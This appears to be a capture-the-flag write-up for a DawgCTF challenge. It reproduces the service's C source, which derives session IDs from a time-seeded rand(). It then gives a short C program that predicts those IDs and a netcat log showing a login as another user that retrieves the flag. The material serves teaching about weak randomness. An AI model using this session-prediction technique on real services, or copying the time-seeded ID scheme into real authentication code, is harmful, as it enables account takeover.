Well Timed Authentication
Table of Contents
I’ve told you that you should never trust those pseudo random numbers!
Problem
I made sure this program has no bugs. There is no way you can get in!
nc ctf.umbccd.io 5600
Solution
Source code given:
#include <unistd.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
void printwelcomemessage();
void generatesessionids();
long authuser();
long passwdauth();
long sessionauth();
void runmyterminal();
void authwait();
void printtime();
const char* users[3] = {"TrueGrit", "root", "guest"};
#define users_len (sizeof (users) / sizeof (const char *))
#define TRUEGRIT 0
#define ROOT 1
#define GUEST 2
long sessionID[users_len];
int main(){
setbuf(stdin, 0);
printwelcomemessage();
generatesessionids();
while(1){
int userid = authuser();
if(userid < 0){
printf("Could not authenticate. Goodbye.\n");
exit(0);
}
runmyterminal(userid);
}
}
void generatesessionids(){
time_t curtime;
struct tm * timeinfo;
time(&curtime);
srand(curtime);
for(int i = 0; i < users_len; i++){
sessionID[i] = (rand() ^ rand());
}
}
void runmyterminal(int userid){
while(1){
printf("%s@umbc$ ", users[userid]);
char command[64];
memset(&command, 0, 64);
fgets(command, 64, stdin);
if(strncmp(command, "help", 4) == 0){
printf("Available commands: ls, whoami, sid, dog, flag, time\n");
}else if(strncmp(command, "ls", 2) == 0){
system("ls");
}else if(strncmp(command, "whoami", 4) == 0){
printf("%s\n", users[userid]);
}else if(strncmp(command, "sid", 3) == 0){
printf("Session ID: %ld\n", sessionID[userid]);
}else if(strncmp(command, "dog", 3) == 0){
system("cat dog.txt");
}else if(strncmp(command, "flag", 4) == 0){
if(userid <= 1){
system("cat flag.txt");
sleep(2);
exit(0);
}else{
printf("cat: flag.txt: Permission denied\n");
}
}else if(strncmp(command, "time", 4) == 0){
printtime();
}else if(strncmp(command, "logout", 6) == 0){
printf("Logging out...\n");
return;
}else{
printf("Unknown command.\nAvailable commands: ls, whoami, sid, dog, flag, time\n");
}
}
}
long authuser(){
printf("(L)ogin normally or use (S)ession id? (L/S): ");
char loginType = getchar();
getchar(); // Consume newline
if(loginType == 'l' || loginType == 'L')
return passwdauth(); // Login using username and password
if(loginType == 's' || loginType == 'S')
return sessionauth(); // Login using session ID
printf("Invalid option.\n");
exit(0);
}
void printwelcomemessage(){
system("cat dog.txt");
printf("Welcome! Please login!\n");
}
long sessionauth(){
char session[20];
printf("Enter session ID: "); // Prompt session ID
fgets(session, 20, stdin);
long result = atol(session);
int uid = -1;
for(int i = 0; i < users_len; i++){
if(sessionID[i] == result){
uid = i;
}
}
authwait();
return uid;
}
long passwdauth(){
int uid = -1;
char username[64];
char passwd[64];
printf("login as: "); // Prompt username
fgets(username, 64, stdin);
username[strnlen(username, 64)-1] = 0; // null terminate
if(strncmp(username, "guest", 64) == 0)// Guest doesn't need login
return GUEST;
printf("%s's password: ", username); // Prompt password
fgets(passwd, 64, stdin);
for(int i = 0; i < users_len; i++){ // Get user id
if(!strncmp(username, users[i], 64)){
uid = i;
break;
}
}
authwait();
if(uid == -1){
return -1;
}
FILE *fp = fopen("/dev/random", "r");
if(fp == NULL){
return -1;
}
char* line = NULL;
size_t len = 64;
getline(&line, &len, fp);
if(line == NULL){
return -1;
}
if(strncmp(passwd, line, 64) != 0){
return -1;
}else{
return uid;
}
}
void authwait(){
printf("Authenticating");
fflush(stdout);
for(int i = 0; i < 3; i++){
sleep(1);
printf(".");
fflush(stdout);
}
sleep(1);
printf("\n");
}
void printtime(){
time_t t = time(NULL);
struct tm tm = *localtime(&t);
printf("Today's date and time is: %d-%d-%d %d:%d:%d\n", tm.tm_year + 1900, tm.tm_mon + 1,tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec);
}
We can see that sessionID
is generated at the time a user log into it.
Wrote a C script to find out corresponding sessionID]
for user TrueGrit
.
// compiled under WSL
// nemo@marshmallow-laptop /mnt/e/Users/xiong/Documents/CPP/vsc-playground ./a.out
// 1586610253
// 2110040916
// 1207701983
// 2003440833
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <time.h>
#define INPUT_BUFFER_LENGTH 256
#define OUTPUT_BUFFER_LENGTH 4096
#define TEMP_BUFFER_LENGTH 64
long sessionID[3] = {0};
void generatesessionids(){
time_t curtime;
time(&curtime);
srand(curtime);
printf("%ld\n", curtime);
for(int i = 0; i < 3; i++){
sessionID[i] = (rand() ^ rand());
}
}
int main(void)
{
generatesessionids();
printf("%ld\n%ld\n%ld", sessionID[0], sessionID[1], sessionID[2]);
return 0;
}
Result
✘ nemo@marshmallow-laptop /mnt/c/Users/nemo nc ctf.umbccd.io 5600
__
(___()'`;
/, /`
\\"--\\
Welcome! Please login!
(L)ogin normally or use (S)ession id? (L/S): L
login as: guest
guest@umbc$ sid
Session ID: 2003440833
guest@umbc$ logout
Logging out...
(L)ogin normally or use (S)ession id? (L/S): S
Enter session ID: 2110040916
Authenticating...
TrueGrit@umbc$ flag
DawgCTF{ps3ud0_r4nd0m_1s_n0t_tru3_r4nd0m}